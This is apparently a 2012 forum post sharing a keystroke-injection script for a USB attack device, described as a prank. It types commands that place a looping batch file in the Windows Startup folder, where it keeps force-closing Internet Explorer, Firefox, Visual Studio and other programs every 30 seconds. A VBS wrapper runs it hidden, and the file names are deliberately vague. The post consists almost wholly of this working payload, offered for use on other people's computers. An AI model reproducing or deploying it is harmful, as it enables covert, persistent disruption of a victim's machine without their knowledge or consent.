overwraith Posted October 31, 2012 Posted October 31, 2012 (edited) The following is a prank script that runs a batch loop that kills processes that you specify. A key characteristic of this particular script is that it uses a vbs script to run the batch script silently. When I was making this script I was surprised to learn that newer OSes do not run batch scripts silently. I got the vbs script someplace else, but I don't remember where. I have seen this script online on several websites though. The naming conventions of the files produced is intentionally ambiguous, ex...a.bat, b.vbs. CONTROL ESC DELAY 200 STRING cmd ENTER REM A Different directory in case the second one is inaccessable DELAY 1000 STRING cd %userprofile%\Downloads\ ENTER DELAY 1000 STRING cd C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ ENTER DELAY 100 REM Delete batch file if already exists STRING erase /Q a.bat ENTER REM Make the batch file STRING copy con a.bat ENTER DELAY 100 STRING @echo off ENTER STRING :Start ENTER STRING taskkill /f /im "iexplore.exe" ENTER STRING taskkill /f /im "firefox.exe" ENTER STRING taskkill /f /im "devenv.exe" ENTER STRING taskkill /f /im "pennote.exe" ENTER STRING timeout /t 30 ENTER STRING Goto Start ENTER CONTROL Z ENTER DELAY 100 REM Only way to run a batch file silently on vista/Win7 REM Delete vbs file if already exists STRING erase /Q b.vbs ENTER STRING copy con b.vbs ENTER STRING Set WshShell = CreateObject("WScript.Shell") ENTER STRING WshShell.Run chr(34) & "a.bat" & Chr(34), 0 ENTER STRING Set WshShell = Nothing CONTROL Z ENTER STRING b.vbs ENTER DELAY 100 STRING EXIT ENTER Edited February 6, 2013 by midnitesnake corrected formatting Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.